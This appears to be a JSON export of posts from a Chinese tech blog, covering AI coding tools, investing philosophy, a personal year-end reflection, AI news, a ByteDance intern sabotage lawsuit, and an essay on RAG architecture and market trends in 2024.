不好，相反，我觉得它很好，但工具是需要配备给适合使用它的人，无脑的宣传它的万能是不对的。\n而对于我来讲，利用 Cursor 解决问题、开发项目，在理想的情况下真的是分分钟的事儿。别忘了，我有 15 年的研发经验啊。拥有这样的经验和基础知识再加上 Cursor 确实如虎添翼。\n现在，任何语言，任何技术栈在我面前都不是问题，计算机世界的大门从来没有像今天一样对我这样敞开。我的学习效率和解决问题的效率有了极大的提高，说 10 倍可能夸张，至少有 3-5 倍。\n所以，我认为 Cursor 这类优秀的 AI 编程工具就像一个你的结对编程的伙伴，你们是协作关系，他像一名高级工程师，你们互相引导、激发、创造！\n你想想什么人才能结对编程，一个什么都不懂的人和你结对你觉得靠谱吗？ 我想你明白我想表达的是什么了。\n最近在社交媒体看到知名博主 “宝玉” 总结的 AI 编程工具的使用原则，结合我自己的使用经验我觉得总结得很靠谱，分享给大家：\n准确的描述清楚需求\n架构能力，合理的将复杂系统拆分成松耦合的模块，让 AI 可以在一次会话中处理\n专业编程能力，能分辨 AI 生成的代码的好坏\n调试能力，当 AI 生成的代码出现问题，能快速定位，自己或者借助 AI\n","date":"2025-01-17T04:35:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-01-17-ji-yu-vue2-de-wen-jian-yu-lan-jie-jue-fang-an-quan-bu-dai-ma/cover.jpg","permalink":"/p/2025-01-17-ji-yu-vue2-de-wen-jian-yu-lan-jie-jue-fang-an-quan-bu-dai-ma/","title":"基于 Vue2 的文件预览解决方案，全部代码由 Cursor AI 助手生成"},{"content":"投资理念 价值投资： • 与巴菲特共同的价值投资理念，注重企业的商业模式和未来现金流，只投资于能够挣钱的公司。 • 不要害怕错过一些机会，更重要的是不要踩雷。 • 不会快速判断公司是否值得长期投资，如对苹果的投资历经多年，是基于对其生意、文化、商业模式的深刻理解。 不赚快钱： • 不要追求快速赚钱，因为想快赚可能正是缺钱的表现。重要的是不要踩雷，踏踏实实做该做的事情。 • 投资不是零和游戏，而信息差就是零和游戏，用信息差提前赚钱，或许有点不道德。 长远眼光： • 做事情要尽量想长远，不要让重要的事情变成紧急的事情。 • 投资和做事都要有长远的眼光，提前预防，安全第一。 投资判断： • 不擅长快速判断一家公司是否值得长期投资。他的投资决策源于对企业、生意、产品多年的理解，不会轻易下判断。 止损的重要性： • 以乐视股票为例，强调发现错误应及时抛售，不能因期待反弹而心存侥幸，避免损失扩大。 AI时代的投资： • 企业若能将AI技术深度融入业务体系，未来发展潜能巨大，如英伟达。消费端，AI可重塑消费者体验与需求模式，关注借助AI提升用户粘性与购买转化率的公司是极具潜力的投资思路。投资者使用AI工具时不能盲目依赖，要保留自身独立思考能力。 创业观念 真正的创业： • 该创业的人根本不需要鼓励，重要的是真的有想法和必要，有时候走投无路也是创业的一个好办法。 • 创业并不容易，成功率非常低，不要只看到有些人的成功，要谨慎行事。 创业时机与动机： • 不鼓励大学生盲目创业，真正的创业时机是有强烈想法、必要需求或走投无路时，且要有明确目标，不能为了创业而创业，也不能仅为了名利。 创新的路径： • 创业创新可“敢为天下后”，从模仿开始，关键是满足用户需求，诸多成功企业并非最早创新却取得成功，创新要以满足用户需求为导向，创造有价值的差异化。 创业的选择： • 创业要找自己有感觉的东西，做自己喜欢和擅长的事。好赛道不会进入低毛利，低毛利的产品通常商业模式较差、产品差异化小，创业者要认真思考商业模式。 学习与成长 兴趣驱动： • 当对某件事有兴趣时，就不会对未来的东西感到恐惧。在信息爆炸的时代，不能盲目学习所有新东西。 • 学习要有选择性，知道自己能学会，其实就没有什么问题。 AI时代的适应： • AI工具在学术和研究中需要谨慎使用，时代在变，工具也在变，但基本的学习方法是相通的。 • AI是能极大提升效率的工具，可助力学习，但在学术研究中要谨慎使用，不可涉足论文造假。年轻人应培养“AI+”复合型技能，将AI技术与自身专业知识、兴趣爱好紧密融合。 商业与赛道 好赛道： • 好赛道不会进入低毛利，低毛利的是商业模式差、产品差异化小的产品。 创新： • 创新在于弥补需求上的不足，差异化不是简单的不同，而是满足用户需求。创新不一定是最先做的，但要做到比别人更好。 反思与经验 乐视股票： • 反思了对乐视股票的认识，强调不要对已经明显有问题的股票抱有幻想。 与黄峥的交流： • 非常喜欢与黄峥交流，因为他看本质，想长远，不是趋利的人。 人生与成长 做对的事情： • 多数人知晓对错，但常因短期诱惑犯错，应及时改正，如戒烟、杜绝舞弊等。 • 强调“做对的事情，把事情做对”，认为这是人生最重要的原则。 脚踏实地与胸无“大”志： • 主张要脚踏实地去做事情，不能好大喜功、急功近利。 • 如果心里没有一个真正想做的事情，只是为了去创业，成功率会非常低。 正直诚信的价值： • 重视正直和诚信，视其为人生成功基石。 • 在投资、创业和生活中都要坚守，不做违背良心之事，这样自己会觉得坦然。 勤奋与是非观念： • 相比勤奋和乐观，更重要的是要有是非观念，做对的事情。 • 否则勤奋可能事倍功半。 长远眼光的重要性： • 人生每个决策都应考虑长远影响，无论是学习、投资、创业还是生活中的选择。 • 要思考多年后的结果，不能仅着眼于当下利益。 其他方面 中美关系： • 对中美关系乐观，虽有短期冲突，但长期会缓和。 • 不应忘记双方合作基础，如浙大受美国影响，国人赴美情况良好。 母校与学风： • 肯定浙大学风，在此学到学习方法，对自身成长有益。 • 同时感受到杭州发展变化，人才吸引力增强。 投资与人生 投资如同滚雪球： • 投资如同滚雪球，要找到湿的雪和长的坡，强调长期价值和耐心。 ","date":"2025-01-07T08:11:46Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-01-07-duan-yong-ping-zai-zhe-jiang-da-xue-jiao-liu-zong-jie/cover.jpg","permalink":"/p/2025-01-07-duan-yong-ping-zai-zhe-jiang-da-xue-jiao-liu-zong-jie/","title":"段永平在浙江大学交流总结"},{"content":"\n2024 年即将过去，在经历了几年如“鬼压床”般的梦魇日子后，如今的我竟意外地感到平静。\n我想我的 “平静” 源于我的精神世界不再混乱和不堪。如你我所经历的，今年也是“精彩” 的一年，发生了很多的事情。无论你是否还记得，它们都在不同的层面影响着我们当下的生活。\n在回想过这一年的时光后，我最想表达的是感恩和感谢。\n那些素未谋面的人们 在和我素未谋面的人们中，我最想感谢的是在几年前我罹患抑郁症焦虑症期间给予我极大精神慰藉的前司同事，虽然我们曾为同事，但公司人很多，我们至今素未谋面。非常感谢他在那段时间与我分享的故事以及对我无私的关怀，那段时间，即使看到那个头像我都会感到片刻的心安，谢谢你！\n那些不曾相识的人们 去年的那个夏天，很热，我心情复杂、漫无目的的在马路上游荡，走累了，坐在离过街天桥不远的地方休息。天桥台阶上坐着一个中年女人，手里拿着装着 CT 的袋子。她点了一支烟，神情麻木地看着远方。过了一会儿，神情逐渐变得悲伤，然后又是麻木。我从远处一直看着她，就这样不知过了多久，她掐灭了烟，眼神突然变得坚毅和果决，站起身走过天桥，消失在人群中。而我一个人呆坐在那儿想了很久，然后我不再在马路上游荡，目标坚定地也走向了远方，我想，我要感谢她。\n那些久未相见的朋友 感谢那些给我介绍过工作机会的朋友，虽然世事并非总如你我所愿，但这份雪中送炭的恩情我是不会忘记的，感谢你们。\n感谢雄哥总挂念我的健康问题。已经好了，放心吧。\n感谢我的发小儿们，我至今都觉得能交到你们这群朋友是我的幸运，即使今天是世界末日，我也不会遗憾什么，友谊地久天长！\n最亲爱的人 最亲爱的人陪我渡过了漫长日子的每一天，最感谢的是她。\n都说 “陪伴是最长情的告白”，但我觉得在真正的生活面前，告白还是显得太单薄了。真正的陪伴是将全部生命与你相融，共同面对复杂的生活和世界，不止需要勇气和胆量，还需要爱与智慧。\n最近附近的连锁超市重新装修后再次营业。周末，我们去逛了逛。人很多，我们走到食品区的时候，她说：“这么多好吃的啊，真好，这样你下班的时候想吃什么，我就可以给你买回去了”。 这是今年我听到的最感动的一句话，我发现，我抓着她的手越发的紧了\u0026hellip;\u0026hellip;\n父亲母亲 今年是我在外漂泊的第 15个年头，总是时不时地想回家看看父母。往年没有这样过。许多年前，我对他们的感情很复杂也很矛盾，现在正在变得越来越纯粹，我希望他们身体健康，长命百岁。\n自己 我想还有一个人是我今年必须要感谢的，那就是我自己。\n我从一片混沌和荒芜中重建了自己的精神世界。我的精神支柱正在变得丰富和稳定。我也想分享给你，我的朋友，精神内核不要过于单一，其实我们的精神世界都是多元的，有友情、爱情、亲情、事业、爱好等等，你甚至可以把它投射到任何人、事物甚至一只宠物身上，但注意，切忌不要过于单一，否则会很脆弱，一旦崩溃，后果严重。\n在过去的 30多年，我对这个世界一直很恐惧和紧张，缺乏安全感。我发现，对于我来说，真正的安全感，不是依靠外界获得的，而是靠我自己的内心信念。在意识到这一点后，过去的几年，我总是告诉自己一句话：“别怕，没事儿的，放松点儿”。就像一个大人在安慰一个被吓坏了的孩子。\n如今，我仍然害怕很多事情，但心中多了份坦然，就像一个看过了剧本的 NPC。\n明天 明天，对于所有人来说，都是一个新的开始。站在时间的门槛上，回想着这为了生活而奔波的一年，我有着对过去的释怀和对未来的无限期待，我衷心地祝愿所有与我生命中有过交集的人们生活顺遂、梦想成真！\n","date":"2024-12-29T15:32:08Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-12-29-2024-nian-zhong-zong-jie/cover.jpg","permalink":"/p/2024-12-29-2024-nian-zhong-zong-jie/","title":"2024 年终总结"},{"content":"引言 在人工智能技术的飞速发展中，每周都有令人兴奋的新进展。本周，我们将带您了解一些最新的 AI 动态，包括 DeepMind 的 Veo 2 视频生成 AI、Pika Labs 的视频生成器 2.0、Microsoft 的 Phi-4 数学问题解决 AI 模型，以及更多。让我们一起探索这些技术如何塑造我们的未来。\nDeepMind 发布 Veo 2：4K 分辨率的视频生成 AI DeepMind 最近宣布了 Veo 2，这是一款下一代视频生成 AI，能够创建高达 4K 分辨率的两分钟视频片段，无论是分辨率还是持续时间都超越了 OpenAI 的 Sora。Veo 2 目前仅在 Google 的实验性视频创作工具 VideoFX 上提供，它在物理理解、摄像机控制方面有所改进，并能产生更清晰的影像。该模型能够更真实地模拟运动、流体动力学和光的性质，包括不同的镜头和电影效果。\nVeo 2 的技术亮点 高分辨率视频生成：Veo 2 能够生成高达 4K 分辨率的视频，这在视频生成 AI 中是前所未有的。 物理和摄像机控制：Veo 2 在理解物理规则和摄像机操作方面有所提升，使得生成的视频更加逼真。 动态模拟：该模型能够更真实地模拟运动和流体动力学，为视频创作带来新的可能性。 光影效果：Veo 2 能够模拟不同的镜头和电影效果，为视频创作提供更多的艺术表现力。 ","date":"2024-12-23T06:26:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-12-23-ai-yi-zhou-su-di-veo-2-pika-labs-shi-pin-sheng-cheng-2-0-pro/cover.jpg","permalink":"/p/2024-12-23-ai-yi-zhou-su-di-veo-2-pika-labs-shi-pin-sheng-cheng-2-0-pro/","title":"AI 一周速递：Veo 2、Pika Labs 视频生成 2.0、Project Mariner 网络冲浪者、Phi-4"},{"content":"Gemini 2.0 Flash 已经支持 native image outputs 。可以对图片进行编辑输出，输出效果太棒了，这一致性也太强了！！！\n","date":"2024-12-17T07:58:34Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-12-17-gemini-2-0-zha-lie-de-tu-pian-sheng-cheng-xiao-guo/cover.jpg","permalink":"/p/2024-12-17-gemini-2-0-zha-lie-de-tu-pian-sheng-cheng-xiao-guo/","title":"Gemini 2.0 炸裂的图片生成效果"},{"content":"ChatGPT Canvas现在可以执行代码了！它可以运行Python代码，并“变身”为自动化数据科学家或软件工程师，创建小型软件工具、游戏等。你还可以让ChatGPT根据控制台错误修复任何漏洞\n","date":"2024-12-11T03:05:04Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-12-11-chatgpt-canvas/cover.jpg","permalink":"/p/2024-12-11-chatgpt-canvas/","title":"ChatGPT Canvas"},{"content":"近日，字节跳动起诉前实习生田某某一事引发广泛关注。据《南方都市报》报道，北京市海淀区人民法院已正式受理该案，字节跳动要求田某某赔偿 800 万元损失及 2 万元合理支出，并公开赔礼道歉。\n通常情况下，类似的纠纷容易引发公众对员工的同情，但这一次，大多数网友却站在了字节跳动一边，评论中甚至出现了“最支持字节的一次”这样的声音。那么，田某某究竟做了什么，让他从一名备受瞩目的高材生，变成了众人唾弃的“内鬼”呢？\n从高材生到“问题实习生” 田某某的履历无疑是优秀的：\n本科毕业于北京航空航天大学软件学院； 研究生就读于北京大学，主攻深度学习领域。 今年上半年，他进入字节跳动实习。在外界看来，这是一份梦寐以求的实习机会——不仅有极具竞争力的待遇，甚至连字节的免费三餐也让人羡慕不已。然而，短短几个月后，田某某却因为严重违纪行为被公司辞退。\n暗中破坏模型训练，团队陷入混乱 事情的起因，是田某某对团队资源分配不满。6 月底，他利用 HF 平台的漏洞，悄悄在公司共享模型中植入了破坏代码，导致团队的模型训练任务屡屡失败。\n训练效果忽高忽低：团队原本的模拟训练被干扰，无法找到明确的改进方向。 各部门一片混乱：算法团队怀疑模型有缺陷，运维团队怀疑设备有问题，系统团队则以为框架出了问题。 数周排查后，团队才终于发现，问题的根源竟然是内部恶意破坏。 尽管事件最终未对字节跳动的商业化项目和线上业务造成实质性影响，但这样的行为已经严重触碰了公司的安全红线。\n被辞退后仍不悔改，最终被起诉 最初，字节跳动选择了相对温和的处理方式——辞退田某某，并将他的行为通报给行业联盟和所在学校，希望由校方进一步处理。然而，事情并未因此结束。\n在事件曝光后，田某某不仅未承认错误，反而多次公开否认自己的行为，甚至指责是其他实习生所为。他还扬言报警，追究“造谣者”的责任。这一系列言论彻底激怒了字节跳动，公司最终决定向法院提起诉讼，以表明态度，并杜绝类似事件再次发生。\n800 万赔偿或断送职业前途 字节跳动这次起诉田某某，索赔金额高达 802 万元。这对一名尚未毕业的研究生来说，无疑是沉重的负担。更重要的是，随着此事的公开发酵，田某某的职业信誉几乎被彻底毁掉——在未来的求职路上，恐怕很难再有大厂愿意接纳他。\n字节跳动的 AI 大模型业务仍然稳步前行 尽管此次事件引发关注，但并未对字节跳动的 AI 业务造成实质性影响。目前，字节跳动旗下的 AI 智能助手“豆包”在国内市场表现亮眼。截至今年 10 月底，豆包的累计下载量已突破 1 亿，远超同类产品，成为国内 AI 助手领域的佼佼者。\n结语：天之骄子为何走到今天？ 田某某曾是一名前途光明的高材生，却因一时的不满和错误决策，将自己的职业生涯推向了悬崖。此次事件也为其他职场新人敲响了警钟——企业的安全红线不可触碰，个人行为必须承担后果。\n在科技行业竞争日益激烈的今天，专业能力固然重要，但职业操守和诚信同样不可或缺。希望这一事件能让更多年轻人引以为戒，脚踏实地，走好每一步。\n","date":"2024-11-28T05:26:39Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-28-zi-jie-tiao-dong-qi-su-qian-shi-xi-sheng-tian-mou-mou-cong-t/cover.jpg","permalink":"/p/2024-11-28-zi-jie-tiao-dong-qi-su-qian-shi-xi-sheng-tian-mou-mou-cong-t/","title":"字节跳动起诉前实习生田某某：从「天之骄子」到「800万赔偿」的惊天反转"},{"content":"豆包还是很强的，其他的就挺逗的，哈哈～\n","date":"2024-11-26T03:43:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-26-ai-da-mo-xing-bian-lun-sai-zen-me-shuo-ne-jiu-ting-gao-xiao-/cover.jpg","permalink":"/p/2024-11-26-ai-da-mo-xing-bian-lun-sai-zen-me-shuo-ne-jiu-ting-gao-xiao/","title":"AI 大模型辩论赛，怎么说呢？ 就挺搞笑的"},{"content":"首先感谢您的阅读，本篇分享是RAG的市场变化，上篇主要分享了RAG技术在2024年的变化。\n本文主要内容：\nRAG和Fine-tune目前的市场态势 RAG在这一年的市场需求变化 这一年的AI从业者观察 1.RAG vs Fine-tune 2024这一年，RAG技术对应的市场需求变化也是挺大的。在讲变化之前，我觉得有必要分享一下为什么RAG是目前市场上不可或缺的一种大模型应用的技术实现方式，它的优点是什么？以及它和主要竞争技术之间的现状是怎么样的？\nRAG最开始被大家热推，更多是因为以下三个原因：\n可以避开大模型的上下文窗口长度的限制； 可以更好地管理和利用客户专有的本地资料文件； 可以更好地控制幻觉。 这三点到现在来看依然还是成立的，但上下文窗口这个优势已经慢慢淡化了，因为各大模型的上下文窗口都在暴涨，如Baichuan2的192K，doubao、GLM-4的128K，过10万tokens的上下文窗口长度已经屡见不鲜，更别说一些特长的模型版本，以及月之暗面这样用长文本占据用户心智的模型。虽然这些模型是否内置了RAG技术不好说，但是RAG解决上下文窗口长度限制的特点已经不太能站得住脚。\n但是第二点管理和利用专属知识文件，以及第三点控制幻觉，现在反而是我认为RAG最大的杀手锏。\n01 专属知识文件管理 因为RAG这种外挂文件的形式，我们便可以构建一个知识文件管理的系统来维护系统内的知识，包括生效和失效时间，知识的协作，以及便捷地为知识更新内容等。RAG在知识维护上，既不需要像传统NLP那样由人工先理解再抽取问答对，也不需要像微调（fine-tune）那样需要非常专业的技术能力，以及微调之后的繁琐对齐（alignment）优化。所以如果客户的知识内容更新比较频繁（假设每天需要追加、替换大量实时资讯内容），特别是金融证券、企业情报等场景，RAG知识更新便捷的特性真的非常合适。\n02 RAG的幻觉控制 RAG的幻觉控制是一个有争议的话题，我之前写过类似观点，也有同学斩钉截铁地认为RAG和幻觉控制八竿子打不着，但我现在依然坚持RAG可以有效控制幻觉这个观点。\n首先我们可以来看看LLM幻觉产生的主要原因：\n对于用户的提问输入，LLM内部完全没有相应的知识来做应对。比如你问大模型，上周三我在思考一件事，但是现在想不起来，你帮我想想是什么。例子虽然夸张，但显而易见，LLM也不知道，但是它会一本正经给你一些建议，当然肯定不是你想要的； 当我们给LLM原始问题，以及多个模棱两可或互相影响的参考材料，那么LLM给出的最终答案也会出错。 好，那么针对以上问题，是否我们解决好对原始问题的**“理解-检索-召回”**，送到LLM的context足够清晰（指的是没有歧义内容、检索相关度高），结果就会非常准确？根据我们的实践结果，答案是明确的：\n今年9月份我们对一些项目进行了槽位填充（消除模糊问答）和元数据辅助之后，问答准确率可达到98%以上。比直接把大文本扔进同一个LLM测试的问答准确率几乎高出14个百分点。\n有同学会说，LLM幻觉的深层原因是temperature或者说概率引起的。就我纯个人观点来看，现当下的LLM参数足够大、知识量足够多，temperature引起的偏差对于最终结果的正确性影响已经微乎其微了。\n03 市场表现 你应该看出来了，在RAG和微调之间，我明显站队了，而且从一年前就开始站队了，我们创业的技术方向也是如此。从今天来看，我觉得RAG在2024年的表现确实要强于微调。\n图：Menlo Ventures在2024年11月20日发布的市场调研报告。RAG以51%的市场份额在企业市场份额中占据绝对优势，Fine-tune和Prompting工程均下降两倍多。Agent今年属于纯增长，目前情况还不错，但在企业应用领域，多Agents的编排依然存在理解能力不足和生成幻觉等问题有待提高。\n来源：https://menlovc.com/2024-the-state-of-generative-ai-in-the-enterprise/\n如果去预测明年的企业级市场趋势，我觉得应用（Application）可能会是最大的关键词，甚至会超过Agent的热度。其实今年下半年已经能明显的看出来，越来越多传统大企业开始将大模型技术引入到业务中，而且他们的特点是“要求高”、“需求刚”、“付费爽”。而一旦大家开始在大模型的应用侧竞赛，RAG在整个业务流程中“白盒流程多”、“易控”等特点愈发会受到企业客户和开发者的热捧，优势进一步拉大。\n2.市场变化之2024 关于企业AI应用市场在2024年的变化，我之前已经有写过文章《聊个五分钟的企业AI应用需求发展趋势》，这里就简单再总结一下。\n上半年：AI无所不能，大而全\n2024年的上半年，AI市场充斥着激情，那种热情似乎走在街上都会扑面而来，个人感觉最主要的推动者是自媒体和模型厂商。模型厂商的出发点很容易理解，快速打开市场嘛，但考虑到他们是要最终交付的，所以相对还是比较理性。但自媒体就一样了，整个上半年看过太多的文章，大家也都是把最好的一面呈现给了大众，所以很多人会觉得我才几个月没关注，AI已经发展到我不认识的地步了，AI已经无所不能了。所以，在2024年上半年，我们接触到的企业需求中，占主流的是那种大而全的需求，要用AI替代他们业务的全流程或基本流程，气味中充满了使用者的野望。\n但实际情况并不理想，AI或者大模型还真没到这个程度，而且最关键的是范式转换也还需时间。什么是范式转换？最简单的例子就是以前人们用笨重的蒸汽机推动主轴承转动，带动整车间的机器工作。但是换了电动机之后呢，工作方式变了，动力可是变得非常分散，比如你拿在手上吹头发的吹风机。带着微型电动机的吹风机和传统的蒸汽机在工作范式上就完全不同，采用AI大模型之后，企业的业务流程也存在范式改造的过程，并非一朝一夕可以完成的。\n所以，上半年我遇到的、参与的或者听说的那些大而全的AI项目，一半是在可行性推演中没有被验证，一半是交付之后效果很不理想，成功者寥寥。\n下半年：回归理性，小而难\n在今年7月份开始，陆续有一些传统大企业找上门来，包括非常知名的企业，以及世界500强和多家中国500强。如果从时间上来说，他们属于AI投入相对较晚的了，但他们的优势是需求非常明确，要求也极高。比如有些企业仅仅就是解决一个咨询服务的需求，在产品范围上就是一个AI问答，但要求准确率接近100%，就像我们CTO在《AIGC时代的淘金者，TorchV这一年的心路历程》说到社保咨询一样。\n小而难的好处很明显，我能看到的是下面几点：\n对企业现有业务流程改造相对较小，内部推动的阻力相对较小，企业客户配合度高； 切口小，需求明确，建设成果的考核清晰可量化； 使用功能较小但可用性较高的AI产品，可以让企业内部员工快速接受AI，做进一步业务流程改造的前期预热； 乐于承接大而全需求的合作厂商多半是外包性质的（这个观点有点伤人，但确实是我看到的现状），而专业的、交付成功率更高的厂商往往更喜欢需求清晰且有难度的任务。 关于2025年的预测\n我在上文中已经有提到，2025年会有更多企业需求方采用AI技术，但企业永远不会为你的技术买单，他们只会为他们自己的使用价值买单。比如可以帮助他们提升销售额、业务流转效率更高，或者和竞争对手的竞争中获得优势，还有就是降低成本等等。所以，大模型应用端多端不够，还需要生长出藤蔓围绕着企业流程开花结果，这个任务最终会落在应用（Application）——内化了企业流程、借助了大模型能力的、带有可交互界面的程序。我自己预测2025年会成为大模型应用或AI应用之争。\n另外还有一个趋势也很明显，就是知识管理和协作。我们都说这波AI浪潮把原来“没用”的非结构化数据给激活了，嗯，所以我们马上会看到那些原来堆在角落里面的“冷”文件和知识（类似wiki）会被大量启用，“热”文件和知识会爆炸性增长，知识的协作和管理会成为新的问题——就像你有再多的先进坦克和战车，却因为无序的交通都堵在阿登森林了。基于大模型的知识管理和协作，会在12月专门写一篇文章好好分享一下我自己的见解，希望能找到共鸣的客户以及开发者。\n3.AI从业者观察 因为我看到的不代表真相，所以这一章节会很短，仅仅分享两个发现。\n01 AI技术的下坡 图：技术采用生命周期。现阶段的AI大模型市场似乎正处于过高期望之后的下坡过程中。\n有两个感受（非证据）可以说明这一点：\n关于AI大模型的自媒体数量在减少，从搜索引擎趋势，加上我和几个业内朋友的blog、公众号以及X的阅读量下降趋势也可以佐证这一点，下半年虽然市场理性回归，但整体热度是在下降的。OpenAI不再持续放大招可能也是重要原因之一； 我前期接触了很多因为AI热潮而在企业内部抽调精干力量组成的AI小组、AI研究组和AI创新组等团队的成员，但下半年有不少类似团队已经解散，人员回归到原有岗位。 还有一点就是上半年加我微信好友的很多独立开发者或在职的个人，多半也已经在寻觅了半年机会之后放弃了继续探索，这一点在和他们交流，以及他们朋友圈的内容变化中可以明显感知。\n但是这并不是坏事，上图已经告诉我们，这是必然规律。\n02 价值开始显现 第二个观察就是目前还奔跑在AI大模型应用赛道的公司，很多已经开始创造出客户价值，有了自己的优势。\n包括在海外风生水起的Dify，在内容提取端的合合，以及肯定会成为国内AI巨无霸的火山引擎。当然我们还看到了一些深耕垂直行业的优秀团队，特别是在法律、医药、教育等行业。我们也在今年6月份开始做了产品转身，现在已经不再烦恼人家问我们“你们和dify/fastgpt/ragflow有什么区别？”，因为赛道已经开始慢慢不一样了，而且这个不一样依然是产品层面的，和服务什么行业无关。关于这一点，也还是在12月的那篇文章再来分享吧。\n三、总结 好了，这篇文章就写到这里了，上篇从个人观点分享了RAG技术这一年的变化，下篇分析了RAG的市场发展情况。最后介绍一下我们自己的产品品牌TorchV，我们通过RAG进行扩展延伸，已经服务了不少大型客户。如果您想在企业中引入AI大模型能力来提升业务，欢迎找我们沟通，以下是我的微信二维码。\nps：我们最近在招聘实习生，如果您对AI发展非常感兴趣，是在杭州的在校大学生，且有一定的vue/Java/Python编程能力，请联系我。\n","date":"2024-11-25T06:27:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-25-rag-de-2024-sui-xu-er-bian-cong-kuang-re-dao-li-xing-xia/cover.jpg","permalink":"/p/2024-11-25-rag-de-2024-sui-xu-er-bian-cong-kuang-re-dao-li-xing-xia/","title":"RAG的2024—随需而变，从狂热到理性（下）"},{"content":"首先感谢那些依然关注着“土猛的员外”的朋友们，对你们，肃然起敬！\n转眼到了2024年尾，和小伙伴一起创立TorchV也接近一年。虽然这一年做了很多事情，但从技术层面上来说，RAG肯定是不得不提的，所以今天分享一下作为大模型应用创业者所感知的这一年，RAG技术和市场环境的变化。\n首先声明，本文更多来自于本人主观感受，且内容更多是回顾性的结论，不建议作为其他文章的引用材料。\n主要内容包括：\nRAG技术变化\n主要架构变化\n技术细节变化\n市场需求变化\n上半年：AI无所不能，大而全；\n下半年：回归理性，小而难；\n明年预测：应用才是王道；\n从业者变化。\n其中技术部分放在上篇，市场需求变化放在下篇。\n一、RAG技术变化 RAG（检索增强生成）其实是由两部分组成的，分别是检索和大模型生成。当然，既然有检索就必然会先有索引，包括chunking、embedding等动作都是为了建立更好的索引。因为我们之前从零开始创建并运营了一个千万级用户的智能问答类产品，所以在2021年左右其实就已经采用Java技术栈在使用RAG里面“RA”的大部分技术了。在2023年年中，RAG这个词突然火了起来，于是我们就立马就扑进去了，而且相信RAG在企业应用领域比纯粹使用大模型会更具实用性，至少在三年之内是这样的（随着最近传闻Scaling Law遇到瓶颈，好像这个时间还有可能被推后）。短短几个月，RAG开始的火爆程度甚至有超过LLM的趋势，在2024年1月我甚至还参加了“共识粉碎机”的EP15讨论会，主要话题就是**“2024年是否会成为RAG元年？”**。\n1.主要架构变化 虽然RAG的火热，各种架构思想就被大师们总结出来，最出名的莫过于下面这张图了：\nRAG三种技术架构\n图1:RAG三种架构模式，来源于论文Retrieval-Augmented Generation for Large Language Models: A Survey。\n站在现在（2024年11月）再看，其实Advanced RAG应该还是最主流的架构。因为它的效果明显比Naive RAG要好，但比Modular RAG更容易实现。在实际应用中，我们还需要为客户考虑经济成本和维护成本，很多时候基于客户需求，在Advanced RAG上做一些对症下药，远比全家桶更具适应性。\n2.技术细节变化 相较于架构变化，技术细节的变化更加“风起云涌”，这一点从各自媒体的文章主题变化和从业者之间的交流内容中就能明显感知到。在RAG这个大框架之下，我们看到了每隔一段时间就会有一些技术细节被热炒，比如：\n知识提取 索引组织 检索方法 01 知识提取 在2024年之前，我们看到的RAG面对的原始知识更多是非常标准的论文，一般是文字版PDF或者HTML，所以那时候内容提取还不是一个大问题。但是在2024年，随着各行各业都开始使用RAG之后，五花八门的文件类型解析变成了从业者们头痛的事情，于是，我们发现有好一波人开始专注于知识提取。\n于是我们看到在2024年，出现了很多专门做知识提取的公司，比如已经在科创板上市合合信息（其实已经是老牌企业），在文件解析方面就非常出色，还有新创的SoMark等，当然大厂在这一块肯定也都涉足，特别是OCR解析，比如百度开源的PaddleOCR，其实还挺良心的。\n我们也是如此，看到现成的python组件在面对多样的知识文件类型时渐感无力，于是就开始在知识提取方面花时间。从多类型文件的解析，包括一些老文件格式（.doc、.xls、.ppt等）的解析，再到比较难的PDF表格解析，需要去处理非常复杂的合并/拆分单元格，并且也有了具备原创知识产权的提取工具组件。\n但是我一直在想，是否可以把整个工作流再前置，如果我们提供知识生产工具，用户可以在我们的知识管理和生产工具上进行知识生产和协作，那么知识提取是不是会更流畅？这个问题可以单独写一篇文章，就放在这个篇文章的上下篇结束之后吧。\n02 索引组织 在RAG里面，索引组织可能是相对比较有技巧性的部分了。\n了解RAG的人都听过chunking，不严谨地说，就是把文件切成若干片段，为的是可以在LLM的窗口大小之内进行作业。常见的chunking方式有按固定token数量的，有按Page的，也有通过NLTK等来进行切分的。但我始终觉得使用哪种chunking方法并不是重点，如果您使用的LLM的上下文窗口较大，对于一些4、5页的文件，还切它干嘛呢，直接扔进去就完事了。但在chunking过程中，其实有两个隐含的技巧是可以快速提升准确率的：指代消解和附加元数据。\n指代消解\n我们在实操中常见的是两种，一种是切割的时候，上一页有详细信息，而下一页中只有“这种方法”来指代。这时候最简单的方法就是做chunk叠加；还有一种就是类似合同，甲方乙方的具体名字只在最开头的地方出现，剩下全文都用“甲方”、“乙方”指代，这种情况因为被指代的名称是比较好获取的，可以直接加在chunk中，如下所示（伪代码），chunk_meta里面可以设置甲方乙方的全称：\n\u0026lt;chunk\u0026gt; \u0026lt;chunk_meta\u0026gt; ... \u0026lt;/chunk_meta\u0026gt; \u0026lt;chunk_content\u0026gt; ... \u0026lt;/chunk_content\u0026gt; \u0026lt;/chunk\u0026gt; 附加元数据\n其实元数据的索引存储结构和上面的指代消解示例中差不多，不同的是，我们需要关心的是：\n元数据从哪里来？ 在检索的过程中什么情况下激活元数据过滤？ 